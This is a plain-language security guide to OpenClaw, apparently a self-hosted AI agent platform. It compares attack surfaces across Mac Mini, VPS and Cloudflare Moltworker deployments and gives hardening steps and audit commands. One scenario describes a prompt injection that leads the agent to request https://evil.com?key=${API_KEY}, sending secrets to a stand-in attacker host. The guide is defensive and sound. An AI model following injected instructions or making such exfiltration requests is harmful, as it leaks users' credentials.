This guide is for anyone who wants to understand what could go wrong with OpenClaw if things are misconfigured or compromised. You don't need to be a security expert to follow along.
Reading time: 5 minutes for the overview, 10-15 minutes per deployment type
What you'll learn:
- What "attack surface" means in plain English
- The biggest risks for each deployment type
- How to tell if you're affected
- What to do if something goes wrong
In Plain English: Your "attack surface" is like all the doors and windows in your house. The more doors you have, the more places a burglar could try to break in. In software, every feature that connects to the outside world is another "door" that needs to be secured.
OpenClaw has different "doors" depending on how you set it up:
| Deployment | The Analogy | Risk Level |
|---|---|---|
| Mac Mini at home | Few doors, mostly locked (private house) | 🟢 Lowest |
| VPS in the cloud | More doors, some face the internet (apartment) | 🟡 Medium |
| Moltworker on Cloudflare | Many doors, managed by someone else (hotel room) | 🟠 Highest complexity |
┌─────────────────────────────────────────────────────────────┐
│ YOUR TRUST BOUNDARY │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
│ │ Mac Mini │ │ VPS │ │ Moltworker │ │
│ │ │ │ │ │ │ │
│ │ You control │ │ You control │ │ Cloudflare controls │ │
│ │ everything │ │ the server │ │ the infrastructure │ │
│ │ │ │ (not the │ │ (you control the │ │
│ │ │ │ hardware) │ │ code + secrets) │ │
│ └─────────────┘ └─────────────┘ └─────────────────────┘ │
│ ▲ ▲ ▲ │
│ Most Private Shared Infra Least Control │
└─────────────────────────────────────────────────────────────┘
What this means:
- Mac Mini: If something goes wrong, you can unplug the network cable and investigate locally
- VPS: If something goes wrong, you can destroy the server and rebuild, but you're trusting the hosting provider
- Moltworker: If something goes wrong at Cloudflare's level, you have no local fallback
| What Could Be Attacked | Mac Mini | VPS | Moltworker |
|---|---|---|---|
| Network doors (who can connect) | 🟢 Low - only you | 🟠 Medium - internet-facing | 🔴 High - edge everywhere |
| Your passwords/keys (where stored) | 🟢 Your disk | 🟠 Remote disk | 🔴 Cloudflare's systems |
| Running commands (who controls) | 🟢 You decide | 🟢 You decide | 🟠 Cloudflare sandbox |
| AI trickery (prompt injection) | 🟡 Your model | 🟡 Your model | 🟠 Goes through AI Gateway |
| Physical access | 🟠 Your home security | 🟢 Datacenter security | 🟢 No physical component |
- Privacy is your #1 priority
- You're comfortable with basic Mac administration
- You want full control over your data
- You're okay with the device needing to be on
- You want the ability to "pull the plug" in an emergency
- You need 24/7 availability without a home server
- You're comfortable with Linux servers
- You can handle firewall configuration
- You want remote access without exposing your home network
- DigitalOcean 1-Click is available for automatic hardening
- You're experimenting or doing a proof-of-concept
- You don't want to manage infrastructure
- You're okay with Cloudflare having access to your data
- You understand the trade-offs (convenience vs. control)
- You're not handling sensitive personal data
The Scenario: Someone accesses your Mac (physically or via cloud sync), reads
~/.openclaw/credentials/, and now has ALL your API keys, bot tokens, and OAuth credentials.
Why it matters: Your credentials are stored in plain text, protected only by filesystem permissions. If someone can read those files, they can impersonate your bot everywhere.
Quick fix: Enable FileVault, use a separate macOS user, never cloud-sync ~/.openclaw/.
The Scenario: You configure
gateway.bind = "lan"or forget to set an auth token. Anyone on the internet can find your gateway and take full control.
Why it matters: A VPS has a public IP address. Every open port is visible to the entire internet. Port scanners find exposed services within hours.
Quick fix: Always use gateway.bind = "loopback", always set gateway.auth.token, use SSH tunnels or Tailscale for remote access.
The Scenario: A prompt injection attack tricks your agent into making a request to
https://evil.com?key=${API_KEY}. Moltworker has no egress filtering, so the request succeeds.
Why it matters: You cannot control what outbound requests your Moltworker makes. If an attacker can influence the AI, they can exfiltrate your secrets.
Quick fix: Understand this is a fundamental trade-off of serverless. For sensitive use cases, use Mac Mini or VPS instead.
Throughout this guide, we use these severity indicators:
| Level | Icon | Meaning | Action Required |
|---|---|---|---|
| CRITICAL | 🔴 | Immediate action required, severe damage possible | Fix now, before doing anything else |
| HIGH | 🟠 | Significant risk, should address soon | Fix within days |
| MEDIUM | 🟡 | Moderate risk, good to fix | Fix when convenient |
| LOW | 🟢 | Minor issue, fix when convenient | Nice to have |
- Read this overview to understand the landscape
- Read your deployment type's page for specific risks:
- Read Cross-Cutting Vulnerabilities for risks that affect everyone:
- Read ClawHub Marketplace Risks for skills/plugin supply chain threats:
- Check the Misconfiguration Examples to see if you've made common mistakes:
- Read the AI Self-Misconfiguration guide if you use AI to manage your config:
- Run the security audit to verify your configuration:
openclaw security audit --deep
Before diving into the detailed guides, check these basics:
# 1. Check gateway binding (should be "loopback" for most setups)
openclaw config get gateway.bind
# 2. Check auth mode (should be "token" or "password")
openclaw config get gateway.auth.mode
# 3. Check auth token is set (should show a long random string)
openclaw config get gateway.auth.token
# 4. Run full security audit
openclaw security audit --deepIf any of these fail, read the relevant deployment guide immediately.
The security analysis in this guide is based on verified source code review:
| Component | Source File | Key Security Control |
|---|---|---|
| Network binding | src/gateway/net.ts:237-287 |
Fallback chain with silent 0.0.0.0 fallback |
| Authentication | src/gateway/auth.ts |
Token and password validation |
| File permissions | src/config/io.ts:2153,2311 |
0o700 directories, 0o600 files |
| SSRF protection | src/infra/net/ssrf.ts:310-354 |
DNS pinning (Mac/VPS only) |
| Shell execution | src/agents/bash-tools.exec.ts |
Allowlist and human approval |
| Security audit | src/security/audit.ts:1380-1517 |
Critical flag detection |
Choose your deployment type and continue to the detailed guide:
- Mac Mini Risks - Physical access, cloud sync, network misconfiguration
- VPS Risks - Internet exposure, multi-tenant risks, credential storage
- Moltworker Risks - Trust boundaries, egress filtering, R2 storage
- Cross-Cutting Vulnerabilities - Prompt injection, tool execution, credentials
- ClawHub Marketplace Risks - Skills marketplace supply chain attacks (Feb 2026 ClawHavoc campaign)
- Skills.sh Risks - Unverified third-party skill distribution
- AI Self-Misconfiguration - When AI modifies its own security config
- Prompt Injection Attacks - 30 attack examples with data exfiltration
- Misconfiguration Examples - Real mistakes and how to fix them
- Operational Gotchas - Real-world usage patterns that go wrong (from external articles)
- Incident Response Playbook - What to do when things go wrong